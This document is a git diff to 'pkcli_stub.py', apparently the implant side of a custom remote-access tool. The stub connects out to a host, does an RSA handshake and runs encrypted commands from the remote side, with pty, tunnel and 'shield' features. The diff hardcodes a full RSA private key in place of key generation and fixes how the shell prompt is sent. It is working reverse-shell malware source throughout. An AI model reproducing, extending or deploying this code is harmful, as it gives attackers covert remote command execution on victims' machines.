1 files changed, 13 insertions, 13 deletions
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 8494f1a..b25f747 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -36,12 +36,13 @@ def main():
         port = int(port)
 
     print('working')
-    p,q,n,e,d = keygen(bits=bits)
-    privkey = { 'n': n, 'd': d }
-#    privkey = {
-#        'n': 674649662747625158965580115649178823272937828671923055234230118266931114418063863425902553767263142112542805798629142731671175353897804485874369880648083704894282886619537285020154984320953903442140692688705887858628043554629805552160716928322839690265157756094009091892991782686467078804688183898466651445834021412680038767167042108036687656414710122361011361917032792883563683007035058615411826538055235483613942740927955921096798359185412920854812805376322359915714231871871568424355947626388369950685381160530003214146725114192144988981658555628868369558202192054627854973191485227523237030576707646163814866120912990720235595971139226256104235293622034976084428012861996082688820722776078055805226922381766417607129202444978552096123079779915276070260212133669863304488559497181245115636814644889044344999249791772743710292169123830534114304441561708365458460310379661336014020642436193548760392290734206895092462336538024371456173590044273138897608100072601300892612489480942246533172892447101244128180845969174975384201677662487434267991209429226437671546280301876296929776386242804688267157569604022638425121011606496845224340844040952164598264796845276039678476313199137656762940091358393013259651079302939058075325266358059,
-#        'd': 123190449884810569256162125882687992708046553789720359521919401640300359281641977106333458366004516863158212261656696996656986976213360792872096439594665878762681894260890835556040018575291138784077661006847175793890501506298043594346816294325944467604607212218700990321244986243022285610505569322870293389265540599135481085900910827576407848761994537960148053283811151447847881266234166142036305112850862917625281181327873544833687626293114369346621676944908214918463649736952974035037728691349766135158032200864588682174860909738581245451325326688903486252086693506229023917240375722382327197535918037164386110180025692542030519669869798513292176347067812774772055482976141030322108067300132951879539462308628409435585075827153210214489887848992420042946201502647706258955963330527121007200645631026325263435508851811642610336364629931427516575798083669051902023046582421072617988530143157607306849734347534916236748625014691873176302502503418187291487697071628848229831657193179685201638365913357263238485692002634666040940151268246333847325390266342288529675646062045549681463229686224509227099656446292062053127918284303699573724644298937367416786776616819815876327182145017335648056648340177994549748253054143476876114005129129,
-#    }
+# TODO: enable keygen
+#    p,q,n,e,d = keygen(bits=bits)
+#    privkey = { 'n': n, 'd': d }
+    privkey = {
+        'n': 674649662747625158965580115649178823272937828671923055234230118266931114418063863425902553767263142112542805798629142731671175353897804485874369880648083704894282886619537285020154984320953903442140692688705887858628043554629805552160716928322839690265157756094009091892991782686467078804688183898466651445834021412680038767167042108036687656414710122361011361917032792883563683007035058615411826538055235483613942740927955921096798359185412920854812805376322359915714231871871568424355947626388369950685381160530003214146725114192144988981658555628868369558202192054627854973191485227523237030576707646163814866120912990720235595971139226256104235293622034976084428012861996082688820722776078055805226922381766417607129202444978552096123079779915276070260212133669863304488559497181245115636814644889044344999249791772743710292169123830534114304441561708365458460310379661336014020642436193548760392290734206895092462336538024371456173590044273138897608100072601300892612489480942246533172892447101244128180845969174975384201677662487434267991209429226437671546280301876296929776386242804688267157569604022638425121011606496845224340844040952164598264796845276039678476313199137656762940091358393013259651079302939058075325266358059,
+        'd': 123190449884810569256162125882687992708046553789720359521919401640300359281641977106333458366004516863158212261656696996656986976213360792872096439594665878762681894260890835556040018575291138784077661006847175793890501506298043594346816294325944467604607212218700990321244986243022285610505569322870293389265540599135481085900910827576407848761994537960148053283811151447847881266234166142036305112850862917625281181327873544833687626293114369346621676944908214918463649736952974035037728691349766135158032200864588682174860909738581245451325326688903486252086693506229023917240375722382327197535918037164386110180025692542030519669869798513292176347067812774772055482976141030322108067300132951879539462308628409435585075827153210214489887848992420042946201502647706258955963330527121007200645631026325263435508851811642610336364629931427516575798083669051902023046582421072617988530143157607306849734347534916236748625014691873176302502503418187291487697071628848229831657193179685201638365913357263238485692002634666040940151268246333847325390266342288529675646062045549681463229686224509227099656446292062053127918284303699573724644298937367416786776616819815876327182145017335648056648340177994549748253054143476876114005129129,
+    }
     refresh_hdb()
     print('done')
     shield()
@@ -168,11 +169,11 @@ def work(h_addr, port, privkey, bits):
         if not handshake(sock, privkey, rpubkey, bits=bits):
             return True
 
-        if 'PS1' not in os.environ:
-            os.environ['PS1'] = '$ '
-        send_encrypted(sock, os.environ['PS1'], rpubkey['e'], rpubkey['n'], bits=bits)
+        PS1 = '$ '
+        if 'PS1' in os.environ:
+            PS1 = os.environ['PS1']
+        send_encrypted(sock, PS1, rpubkey['e'], rpubkey['n'], bits=bits)
         while True:
-            # TODO: this hangs or errors after a pty
             cmd = recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits)
             if cmd == b'tunnel':
                 send_encrypted(sock, b'\xde\xad', rpubkey['e'], rpubkey['n'], bits=bits)
@@ -186,13 +187,12 @@ def work(h_addr, port, privkey, bits):
                 else:
                     response = '[pk] Error: could not refresh host database.\n'
             elif cmd == b'pty':
-                send_encrypted(sock, b'\xc0\xdeflush', rpubkey['e'], rpubkey['n'], bits=bits)
                 screen_is = InStreamCipher(sock, privkey, bits=bits)
                 screen_os = OutStreamCipher(sock, rpubkey, bits=bits)
                 if not run_pty(sock, screen_is, screen_os):
                     return True
                 screen_os.send(b'\xc0\xdenpty')
-                # TODO: this comes on time but the process zombifies after for some reason
+                send_encrypted(sock, PS1, rpubkey['e'], rpubkey['n'], bits=bits)
                 continue
             else:
                 try:
@@ -203,7 +203,7 @@ def work(h_addr, port, privkey, bits):
                         response = str(response, 'utf-8')
                 except Exception as e:
                     response = '%s\n' % str(e)
-            send_encrypted(sock, '%s%s' % (response, os.environ['PS1']), rpubkey['e'], rpubkey['n'], bits=bits)
+            send_encrypted(sock, '%s%s' % (response, PS1), rpubkey['e'], rpubkey['n'], bits=bits)
     except:
         return True
     finally: